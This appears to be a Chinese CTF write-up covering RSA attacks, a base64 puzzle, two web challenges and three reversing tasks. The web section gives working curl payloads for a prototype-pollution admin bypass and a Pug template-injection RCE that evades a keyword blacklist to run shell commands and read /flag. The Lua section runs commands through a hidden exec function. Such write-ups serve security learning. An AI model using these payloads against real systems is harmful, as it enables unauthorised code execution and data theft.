惠州市网站建设_网站建设公司_Node.js_seo优化
2026/1/8 1:09:36 网站建设 项目流程

一、Cryptography

1、Try E

题目描述:E is so big... what does it mean?

from Crypto.Util.number import getPrime, bytes_to_long from secret import flag def get_huge_RSA(): p = getPrime(1024) q = getPrime(1024) N = p * q phi = (p - 1) * (q - 1) while True: d = getPrime(256) e = pow(d, -1, phi) if e.bit_length() == N.bit_length(): break return N,e if __name__ == '__main__': N, e = get_huge_RSA() m = bytes_to_long(flag) c = pow(m, e, N) print(f'N = {hex(N)}') print(f'e = {hex(e)}') print(f'c = {hex(c)}') ''' N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7 c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60 '''

分析代码:

  1. 生成 1024 位的 p,qp,q,计算 N=p×qN=p×q。

  2. 生成一个256 位的素数作为私钥 dd(相对较小,256 位相对于 2048 位的 NN 来说很小)。

  3. 计算 e=d−1mod ϕ(N)e=d−1modϕ(N)。

  4. 要求 ee 的位数和 NN 的位数相同(即 ee 很大,接近 NN 的大小)。

  5. 加密 flag 得到密文 cc。

解题思路:

因为 dd 只有 256 位(NN 是 2048 位),满足Wiener 攻击的条件:

d<13N1/4≈1322048/4=132512(远远大于 256 位)d<31​N1/4≈31​22048/4=31​2512(远远大于 256 位)

所以 Wiener 攻击肯定可行。

我们有:

ed≡1(modϕ(N))ed≡1(modϕ(N))ed=1+kϕ(N)=1+k(N−(p+q)+1)ed=1+kϕ(N)=1+k(N−(p+q)+1)

于是:

∣eN−kd∣=∣1+k(N−ϕ(N))Nd∣≈k(p+q)Nd​Ne​−dk​​=​Nd1+k(N−ϕ(N))​​≈Ndk(p+q)​

因为 p+q≈2Np+q≈2N​,且 k≈edN≈dk≈Ned​≈d,所以这个差值很小,因此 kddk​ 是 eNNe​ 连分数展开的一个收敛子。

解法:

  1. 对 e/Ne/N 进行连分数展开。

  2. 对每一个收敛分数 k/dk/d 尝试作为候选的 kk 和 dd。

  3. 检查 dd 是否整数且 ed≡1(modϕ(N))ed≡1(modϕ(N)) 的某种形式成立。

  4. 得到 dd 后解密 cc。

import gmpy2 from Crypto.Util.number import long_to_bytes N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7 c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60 def wiener_attack(e, n): # 连分数展开 e/n,并尝试每个收敛分数 def continued_fraction(e, n): cf = [] while n: q = e // n cf.append(q) e, n = n, e - q * n return cf def convergents(cf): convergents = [] for i in range(len(cf)): num = cf[i] den = 1 for j in range(i-1, -1, -1): num, den = cf[j] * num + den, num convergents.append((num, den)) return convergents cf = continued_fraction(e, n) convs = convergents(cf) for k, d in convs: if k == 0: continue # 检查 ed ≡ 1 mod phi 的近似条件 # 由 ed - 1 = k phi,phi ≈ N if (e * d - 1) % k != 0: continue phi = (e * d - 1) // k # 从 phi 和 N 求解 p,q:N - phi + 1 = p+q s = n - phi + 1 # 判别式 s^2 - 4n 应为完全平方数 D = s*s - 4*n if D < 0: continue sqrtD = gmpy2.isqrt(D) if sqrtD * sqrtD == D: # 找到 p,q p = (s + sqrtD) // 2 q = (s - sqrtD) // 2 if p * q == n: return d, int(p), int(q) return None res = wiener_attack(e, N) if res: d, p, q = res print(f"Found d = {d}") print(f"p = {p}") print(f"q = {q}") # 解密 m = pow(c, d, N) print("Flag:", long_to_bytes(m).decode()) else: print("Wiener attack failed")

2、Loss N

题目描述:Even without that n, I can still solve the flag.

from Crypto.Util.number import * from gmpy2 import * from secret import flag m = bytes_to_long(flag) p = getPrime(512) q = next_prime(p) n = p * q e = 0x10001 d = inverse(e, (p-1) * (q-1)) c = pow(m, e, n) print(f"c = {c}") print(f"d = {d}") ''' c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240 d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373 '''

解题思路:

  1. 题目特性:给出了 e,d,ce,d,c,没有给 nn,但已知 pp 和 qq 是相邻素数。

  2. 利用关系:从 ed−1=kϕ(n)ed−1=kϕ(n) 出发,枚举可能的 kk 值。

  3. 相邻素数条件:q−pq−p 很小,因此 (p+q)2−4n(p+q)2−4n 是一个完全平方数且数值小。

  4. 求解:对每个候选 ϕ=(ed−1)/kϕ=(ed−1)/k,用相邻素数条件解出 nn 和 p,qp,q。

  5. 解密:得到 nn 后直接用 cdmod ncdmodn 解密得到 flag。

import gmpy2 from Crypto.Util.number import long_to_bytes e = 65537 c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240 d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373 ed1 = e * d - 1 # k 应该在 e 附近,因为 phi ≈ n, n 是 1024 位,ed1 是 1024+ 位,所以 k ≈ e 量级 for k in range(1, 100000): if ed1 % k == 0: phi = ed1 // k # 近似 n sqrt_phi = gmpy2.isqrt(phi) n_approx = phi + 1 + 2 * sqrt_phi # 在附近搜索 for n in range(n_approx - 10000, n_approx + 10000): S = n + 1 - phi # p+q if S <= 0: continue delta2 = S * S - 4 * n # (q-p)^2 if delta2 < 0: continue delta = gmpy2.isqrt(delta2) if delta * delta == delta2: p = (S - delta) // 2 q = (S + delta) // 2 if gmpy2.is_prime(p) and gmpy2.is_prime(q) and q == gmpy2.next_prime(p): # 验证 ed1 = k * phi(n) 成立 if (p-1)*(q-1) == phi: print(f"Found k = {k}") print(f"p = {p}") print(f"q = {q}") print(f"n = {n}") # 解密 m = pow(c, d, n) print("Flag:", long_to_bytes(m)) exit()

二、MISC

1、Easy_Base

题目描述:新人,學院給了你一套能殺死龍王的武器,但上面的文字好像有點看不清啊(flag格式為:flag{xx_xx})

文件内容:Zg====AbYQ====wZew====ARZQ====gbaQ====QcdQ====QZdQ====gYaQ====QZcg====QadA====wXcw====QYbg====wZdQ====Qacw====QYZw====AbYQ====AZaQ====wbcg====QZZw====Qacw====Qf

这个比较简单,两个一组,隔一个反转解密

import base64 data = """Zg====\nAbYQ====\nwZew====\nARZQ====\ngbaQ====\nQcdQ====\nQZdQ====\ngYaQ====\nQZcg====\nQadA====\nwXcw====\nQYbg====\nwZdQ====\nQacw====\nQYZw====\nAbYQ====\nAZaQ====\nwbcg====\nQZZw====\nQacw====\nQf""" c = ''.join(l.rstrip('=') for l in data.strip().split('\n')) print(''.join(chr(base64.b64decode((c[i:i+2][::-1] if (i//2+1)%2==0 and i+1<len(c) else c[i:i+2])+"==")[0]) for i in range(0,len(c),2)))

三、WEB

1、ezjs

题目描述:Come and try some code auditing!

const expres=require('express') const JSON5 = require('json5'); const bodyParser = require('body-parser') const pugjs=require('pug') const session = require('express-session') const rand = require('string-random') var cookieParser = require('cookie-parser'); const SECRET = rand(32, '0123456789abcdef') const port=80 const app=expres() app.use(bodyParser.urlencoded({ extended: false })) app.use(bodyParser.json()) app.use(session({ secret: SECRET, resave: false, saveUninitialized: true, cookie: { maxAge: 3600 * 1000 } })); app.use(cookieParser()); function waf(obj, arr){ let verify = true; Object.keys(obj).forEach((key) => { if (arr.indexOf(key) > -1) { verify = false; } }); return verify; } app.get('/',(req,res)=>{ res.send('hey bro!') }) app.post('/login',(req,res)=>{ let userinfo=JSON.stringify(req.body) const user = JSON5.parse(userinfo) if (waf(user, ['admin'])) { req.session.user = user if(req. session.user.admin==true){ req.session.user='admin' res.send('hello,admin') } else{ res.send('hello,guest') } } else { res.send('login error!') } }) app.post('/render',(req,res)=>{ if (req.session.user === 'admin'){ var word = req.body.word const blacklist = ['require', 'exec'] let isBlocked = false if (word) { for (let keyword of blacklist) { if (word.toLowerCase().includes(keyword.toLowerCase())) { isBlocked = true break } } } if (isBlocked) { res.send('Blocked: dangerous keywords detected!') } else { var hello='welcome '+ word res.send (pugjs.render(hello)) } } else{ res.send('you are not admin') } }) app.listen(port, () => { console.log(`Example app listening on port ${port}`) })

通过分析源码得到:

漏洞1:/login 路由的原型链污染

// 问题代码 const user = JSON5.parse(userinfo); // 使用宽松的JSON5解析器 if (waf(user, ['admin'])) { // 只检查键名是否为'admin' req.session.user = user; if(req.session.user.admin==true){ // 宽松比较 == req.session.user='admin'; } } // WAF函数缺陷 function waf(obj, arr){ Object.keys(obj).forEach((key) => { if (arr.indexOf(key) > -1) { // 仅检查对象自身键名 verify = false; } }); }

漏洞2: /render 路由的模板注入

// 问题代码 var hello='welcome '+ word; // 直接拼接用户输入 res.send(pugjs.render(hello)); // 不完善的黑名单 const blacklist = ['require', 'exec']; // 只过滤这两个关键词

解题过程:

1、绕过登录成为admin

curl -X POST http://target/login \ -H "Content-Type: application/json" \ -d '{"__proto__": {"admin": 1}}' # 响应: hello,admin

原理:

  1. WAF绕过:Object.keys(obj)返回["__proto__"],而非["admin"]

  2. 原型污染: JSON5解析后污染Object原型,所有对象继承admin: 1

  3. 宽松比较:req.session.user.admin == true时,1 == true结果为true

2、Pug模板注入RCE

# 1. 获取admin会话 curl -X POST http://target/login \ -H "Content-Type: application/json" \ -d '{"__proto__": {"admin": 1}}' \ -c cookies.txt # 2. 执行命令获取flag curl -X POST http://target/render \ -H "Content-Type: application/json" \ -b cookies.txt \ -d '{"word": "#{global.process.mainModule.constructor._load(\"ch\"+\"ild_pro\"+\"cess\").execSync(\"cat /flag\").toString()}"}'

绕过技巧:

  1. 拆分字符串:"ch"+"ild_pro"+"cess"绕过child_process检测

  2. 使用constructor._load: 替代被过滤的require

  3. Base64编码备用: 如果字符串拼接被拦截,使用Base64编码绕过

2、easy-lua

题目描述:A Lua online executor

解题思路:

1、信息收集

  • 访问Web界面,发现Lua在线执行环境

  • 尝试基本Lua代码,确认服务正常运行

  • 输出显示严格沙箱环境:只有_Gtablestringmath可用

2、深度探测

-- 关键步骤:枚举全局变量 for k,v in pairs(_G) do print(k, type(v)) end

发现关键函数S3cr3t0sEx3cFunc(名称明显暗示:Secret OS Execute Function)

3、功能验证

-- 测试隐藏函数 print(S3cr3t0sEx3cFunc("ls -la"))

成功返回目录列表,确认该函数具有系统命令执行能力。

4、获取flag

-- 直接读取标准flag位置 local flag = S3cr3t0sEx3cFunc("cat /flag") print("Flag found:", flag)

四、REV

1、easyjar

题目描述:Reverse engineering a simple algorithm

解题步骤:

1、初步分析

unzip -l sm4chal.jar # 输出: Main.class, Sm4.class unzip -p sm4chal.jar META-INF/MANIFEST.MF # 显示主类: Main

2、反编译分析

使用javap -c -p分析字节码:

Main.class 分析

  • 程序要求输入flag

  • 验证格式:必须以flag{开头,}结尾

  • 使用SM4加密输入

  • 与硬编码密文比较:21c2692a4775c413356a31fc55c38f6218bed9d46c45bd0eb777be9334c999d7

  • 密钥生成:Sm4.deriveKeyFromSeed("happ")

Sm4.class 分析

  • 实现了完整的SM4算法

  • 关键发现:自定义S盒变换

private static int sboxTransform(int x) { return SBOX_P[(x ^ 0x3C) & 0xFF]; }
  • SBOX_P生成:rotl8(SBOX[x ^ 0xA7], x & 3)

  • 加密模式:ECB

  • 填充方式:PKCS7

3、密钥分析

def derive_key(seed="happ"): seed_bytes = seed.encode('utf-8') seed_len = len(seed_bytes) key = bytearray(16) for i in range(16): seed_byte = seed_bytes[i % seed_len] transformed = (seed_byte + i * 17 + 35) & 0xFF key[i] = transformed return bytes(key) # 结果: 8b95b5c6cfd9f90a131d3d4e57618192

4、算法逆向(SM4标准算法,但有关键修改)

  1. 标准S盒 → 自定义SBOX_P

  2. SBOX_P生成逻辑:rotl8(SBOX[x ^ 0xA7], x & 3)

  3. S盒变换:先异或0x3C再查表

5、解密实现

  • 实现自定义S盒变换

  • 实现SM4轮函数

  • 实现密钥扩展

  • 注意轮密钥解密时需反序

#!/usr/bin/env python3 import binascii def rotl8(x, n): """8位循环左移""" n = n & 7 return ((x << n) & 0xFF) | (x >> (8 - n)) def generate_sbox_p(): """根据字节码生成SBOX_P""" SBOX = [ 0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87, 0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f, 0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8, 0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0, 0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84, 0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48 ] SBOX_P = [0] * 256 for x in range(256): index = x ^ 0xA7 sbox_val = SBOX[index & 0xFF] rotated = rotl8(sbox_val, x & 3) SBOX_P[x] = rotated & 0xFF return SBOX_P class SM4Decryptor: SBOX_P = generate_sbox_p() FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc] CK = [ 0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9, 0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9, 0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299, 0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279 ] @staticmethod def rotl(x, n): return ((x << n) & 0xFFFFFFFF) | ((x & 0xFFFFFFFF) >> (32 - n)) @staticmethod def sbox_transform(x): index = (x ^ 0x3C) & 0xFF return SM4Decryptor.SBOX_P[index] @staticmethod def tau(x): a = (x >> 24) & 0xFF b = (x >> 16) & 0xFF c = (x >> 8) & 0xFF d = x & 0xFF a = SM4Decryptor.sbox_transform(a) b = SM4Decryptor.sbox_transform(b) c = SM4Decryptor.sbox_transform(c) d = SM4Decryptor.sbox_transform(d) return (a << 24) | (b << 16) | (c << 8) | d @staticmethod def t(x): b = SM4Decryptor.tau(x) return b ^ SM4Decryptor.rotl(b, 2) ^ SM4Decryptor.rotl(b, 10) ^ \ SM4Decryptor.rotl(b, 18) ^ SM4Decryptor.rotl(b, 24) @staticmethod def t_prime(x): b = SM4Decryptor.tau(x) return b ^ SM4Decryptor.rotl(b, 13) ^ SM4Decryptor.rotl(b, 23) @staticmethod def expand_key(key): mk = [ (key[0] << 24) | (key[1] << 16) | (key[2] << 8) | key[3], (key[4] << 24) | (key[5] << 16) | (key[6] << 8) | key[7], (key[8] << 24) | (key[9] << 16) | (key[10] << 8) | key[11], (key[12] << 24) | (key[13] << 16) | (key[14] << 8) | key[15] ] k = [0] * 36 for i in range(4): k[i] = mk[i] ^ SM4Decryptor.FK[i] rk = [0] * 32 for i in range(32): k[i + 4] = k[i] ^ SM4Decryptor.t_prime( k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4Decryptor.CK[i] ) rk[i] = k[i + 4] return rk @staticmethod def decrypt_block(data, rk): x = [0] * 36 x[0] = (data[0] << 24) | (data[1] << 16) | (data[2] << 8) | data[3] x[1] = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7] x[2] = (data[8] << 24) | (data[9] << 16) | (data[10] << 8) | data[11] x[3] = (data[12] << 24) | (data[13] << 16) | (data[14] << 8) | data[15] for i in range(32): x[i + 4] = x[i] ^ SM4Decryptor.t( x[i + 1] ^ x[i + 2] ^ x[i + 3] ^ rk[31 - i] ) result = bytearray(16) result[0:4] = x[35].to_bytes(4, 'big') result[4:8] = x[34].to_bytes(4, 'big') result[8:12] = x[33].to_bytes(4, 'big') result[12:16] = x[32].to_bytes(4, 'big') return bytes(result) @staticmethod def pkcs7_unpad(data): if len(data) == 0: return data padding_len = data[-1] if 1 <= padding_len <= 16: if all(b == padding_len for b in data[-padding_len:]): return data[:-padding_len] return data @staticmethod def decrypt(ciphertext, key): rk = SM4Decryptor.expand_key(key) plaintext = bytearray() for i in range(0, len(ciphertext), 16): block = ciphertext[i:i+16] plaintext.extend(SM4Decryptor.decrypt_block(block, rk)) return SM4Decryptor.pkcs7_unpad(bytes(plaintext)) def derive_key(seed="happ"): seed_bytes = seed.encode('utf-8') seed_len = len(seed_bytes) key = bytearray(16) for i in range(16): seed_byte = seed_bytes[i % seed_len] transformed = (seed_byte + i * 17 + 35) & 0xFF key[i] = transformed return bytes(key) # 使用 key = derive_key("happ") ciphertext = binascii.unhexlify("21c2692a4775c413356a31fc55c38f6218bed9d46c45bd0eb777be9334c999d7") plaintext = SM4Decryptor.decrypt(ciphertext, key) print(f"Flag: {plaintext.decode('utf-8')}")

2、JN

题目描述:怎麽有的函數看不到

解题流程:

1、初步分析

apktool d JN.apk -o JN_decoded

发现APK包含:

  • 两个DEX文件:classes.dex, classes2.dex

  • Native库:libxsran.so (arm64-v8a/armeabi-v7a/x86/x86_64)

  • Assets目录:dexopt/(包含性能分析文件)

2、关键代码定位

入口Activitycom.challenge.xsran.MainActivity

关键验证方法validate():

public final validate(Ljava/lang/String;)Z { // 1. 检查Flag长度 == 22字符 // 2. flag.substring(5, 21) 取16字符 // 3. 分成两部分:前8字符(part1) + 后8字符(part2) // 4. part1 -> J_Validate() [Java层RC4验证] // 5. part2 -> N_Valildate() [Native层XXTEA验证] }

3、Part1分析 - Java层RC4

验证函数J_Validate([B)Z

public final J_Validate([B)Z { encrypted = unknownEncrypt(input, UNKNOWN_KEY); return Arrays.equals(encrypted, JAVA_CIPHER); }

unknownEncrypt是标准RC4算法

  • KSA(密钥调度算法)+ PRGA(伪随机生成算法)

  • 通过异或操作加密/解密

关键数据:

UNKNOWN_KEY = [0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10] JAVA_CIPHER = [0xC6, 0x17, 0xF4, 0xF4, 0xB6, 0x5C, 0xCE, 0x90]

RC4解密得到part1:

def rc4_decrypt(data, key): # RC4实现 return decrypted part1 = rc4_decrypt(JAVA_CIPHER, UNKNOWN_KEY) # part1 = "kokodayo"

4、Part2分析 - Native层XXTEA

验证函数:N_Valildate([B)Z(注意函数名拼写错误)

  • 位于libxsran.so中

  • 函数名:Java_com_challenge_xsran_MainActivity_N_1Valildate

算法识别: XXTEA加密算法

  • 魔数delta:0x9E3779B9

  • 循环32次(iVar5 = -0x200

关键数据提取:

  • 密钥: 从.so文件偏移0x558处获取16字节

0f 1e 2d 3c 4b 5a 69 78 87 96 a5 b4 c3 d2 e1 f0

转换为4个32位整数(小端序):
[0x3c2d1e0f, 0x78695a4b, 0xb4a59687, 0xf0e1d2c3]

  • 目标密文: 从反汇编代码获得

uVar3 == 0xfa7cb432 && uVar1 == 0x6421acbe

高32位=0xfa7cb432, 低32位=0x6421acbe

XXTEA解密:

def xxtea_decrypt(cipher, key): # XXTEA解密实现 return decrypted cipher = [0x6421acbe, 0xfa7cb432] # [低32位, 高32位] decrypted = xxtea_decrypt(cipher, key) # 解密得到两个32位整数,转换为8字节

解密结果

part2_bytes = b'~OoO~OoO' part2 = "~OoO~OoO"
import struct def rc4(data, key): """RC4加密/解密""" S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) & 0xFF S[i], S[j] = S[j], S[i] i = j = 0 result = bytearray() for byte in data: i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) & 0xFF] result.append(byte ^ K) return bytes(result) def xxtea_decrypt(v, k): """XXTEA解密""" n = len(v) delta = 0x9E3779B9 rounds = 6 + 52 // n sum_ = (rounds * delta) & 0xFFFFFFFF y = v[0] for _ in range(rounds): e = (sum_ >> 2) & 3 for i in range(n-1, 0, -1): z = v[i-1] v[i] = (v[i] - (((z>>5 ^ y<<2) + (y>>3 ^ z<<4)) ^ ((sum_ ^ y) + (k[(i & 3) ^ e] ^ z)))) & 0xFFFFFFFF y = v[i] z = v[n-1] v[0] = (v[0] - (((z>>5 ^ y<<2) + (y>>3 ^ z<<4)) ^ ((sum_ ^ y) + (k[(0 & 3) ^ e] ^ z)))) & 0xFFFFFFFF y = v[0] sum_ = (sum_ - delta) & 0xFFFFFFFF return v def main(): # Part 1: RC4解密 key_rc4 = bytes([0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10]) cipher_rc4 = bytes([0xC6, 0x17, 0xF4, 0xF4, 0xB6, 0x5C, 0xCE, 0x90]) part1 = rc4(cipher_rc4, key_rc4) print(f"密钥: {key_rc4.hex()}") print(f"密文: {cipher_rc4.hex()}") print(f"解密: {part1.decode('utf-8')}") # Part 2: XXTEA解密 key_xxtea = bytes([0x0f, 0x1e, 0x2d, 0x3c, 0x4b, 0x5a, 0x69, 0x78, 0x87, 0x96, 0xa5, 0xb4, 0xc3, 0xd2, 0xe1, 0xf0]) k = list(struct.unpack('<IIII', key_xxtea)) cipher = [0x6421acbe, 0xfa7cb432] # [低32位, 高32位] decrypted = xxtea_decrypt(cipher.copy(), k) part2_bytes = struct.pack('<I', decrypted[0]) + struct.pack('<I', decrypted[1]) part2 = part2_bytes.decode('utf-8') print(f"密钥: {key_xxtea.hex()}") print(f"密文: {[hex(x) for x in cipher]}") print(f"解密: {part2}") # 组合Flag flag = f"flag{{{part1.decode('utf-8')}{part2}}}" print(f"Flag长度: {len(flag)} 字符") print(f"最终Flag: {flag}") if __name__ == "__main__": main()

3、ezc

题目描述:What about the random key? flag Submission format: flag{youget}

程序逻辑分析:

1. 流程概述

  1. 生成随机种子:srand((time(0) ^ getpid()) % 20)

  2. rand()生成36字节密钥key[36]

  3. 提示用户输入36字节猜测

  4. 将输入与key逐字节异或,得到加密结果

  5. 比较加密结果与硬编码的cipher(36字节)

  6. 相同则输出"Correct! Your input is the plaintext."

2. 关键发现

  • 种子范围仅0~19,可爆破

  • cipher位于.rodata段,地址0x555555556020

  • 算法:cipher[i] = flag[i] ^ key[i]

解题步骤

方法一:动态调试

1、获取cipher:

(gdb) x/36xb 0x555555556020 1f c9 ed 29 a6 fe 44 ee 82 45 e9 d8 7f 42 10 e0 bb 4b d0 05 4c 76 90 cb 48 9c 7a a9 f0 33 55 25 64 88 3d f7

2、获取密钥

  • 输入36个'a'(0x61)

  • memcmp处断点(0x555555555619

  • 获取加密结果enc_inputrdi寄存器)

  • 计算密钥:key[i] = enc_input[i] ^ 0x61

  • 得到本次运行的密钥

3、解密

plain[i] = cipher[i] ^ key[i]

方法二:种子爆破

由于%20只有20种可能,枚举种子生成密钥并解密:

import ctypes libc = ctypes.CDLL("libc.so.6") cipher = bytes.fromhex("1fc9ed29a6fe44ee8245e9d87f4210e0bb4bd0054c7690cb489c7aa9f033552564883df7") for seed in range(20): libc.srand(seed) key = bytes((libc.rand() & 0xff for _ in range(36))) plain = bytes(cipher[i] ^ key[i] for i in range(36)) if all(32 <= b <= 126 for b in plain): # 可打印字符检查 print(f"Seed {seed}: {plain.decode()}")

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询